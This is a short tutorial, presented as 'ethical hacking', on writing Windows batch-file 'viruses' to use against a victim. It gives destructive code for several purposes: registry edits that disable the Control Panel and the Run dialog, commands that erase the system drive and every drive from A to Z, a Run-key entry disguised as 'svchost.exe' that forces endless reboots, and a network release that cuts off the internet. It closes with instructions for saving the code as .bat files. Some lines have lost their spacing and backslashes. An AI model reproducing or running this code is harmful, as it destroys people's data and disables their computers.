Ethical Hacking: How To Use Batch Programming

Everyone always want to perform ethical hacking easily. This includes using already built tools and exploits for your pentesting.Have you wondered about the easiest way to create a simple virus for Windows? I did and found that simpler things can get a big job done. Today, I am going to tell you how to use Batch scripting to create simple but efficient viruses. First a little bit of info about what Batch really is...Batch File : A batch file is a kind of script file that's created usually using simple text editors. I use Windows CMD commands. It works using command line interpreter and is usually executed by a shell program (Command.com or CMD). These files have  a .bat extension.If you want to learn it,  just Google it. Trust me, it's worth it.Now let me show you some codes that I've used frequently :
  • Mess up the registry : This code can give a hard blow to the registry. This will just kill some resources in such a way that the victim will get very annoyed.
@echo offreg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoControlPanel /t REG_DWORD /d 00000001reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoRun /t

  • Crash the OS : This code can just simply crash Windows. Note that you can have problems when using this code because some times it doesn't work.
@echo offerase %systemdrive%*.* /f /s /qexit 
  • Keep Victim's Computer Rebooting : Another annoying code which can have tough effects on an inexperienced user. You will also notice that how simple things can leave Windows with no defense.
@echo offreg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /f /v "svchost.exe" /d "shutdown -r -t 00"exit 
  • Disable the Victim's Internet : Want to stop someone from accessing the internet? Just use this four lines code.
@echo offipconfig / Releaseif ERRORLEVEL1 ipconfig /release_allexit 
  • Erase All Drives : Want to erase every thing? Well its simple in Windows.
@echo offdel A:*.* /f /s /qdel B:*.* /f /s /qdel C:*.* /f /s /qdel D:*.* /f /s /qdel E:*.* /f /s /qdel F:*.* /f /s /qdel G:*.* /f /s /qdel H:*.* /f /s /qdel I:*.* /f /s /qdel J:*.* /f /s /qdel K:*.* /f /s /qdel L:*.* /f /s /qdel M:*.* /f /s /qdel N:*.* /f /s /qdel O:*.* /f /s /qdel P:*.* /f /s /qdel Q:*.* /f /s /qdel R:*.* /f /s /qdel S:*.* /f /s /qdel T:*.* /f /s /qdel U:*.* /f /s /qdel V:*.* /f /s /qdel W:*.* /f /s /qdel X:*.* /f /s /qdel Y:*.* /f /s /qdel Z:*.* /f /s /qexit How to Use These CodesType the code into simple text editors like Notepad and save the file with a .bat extension.
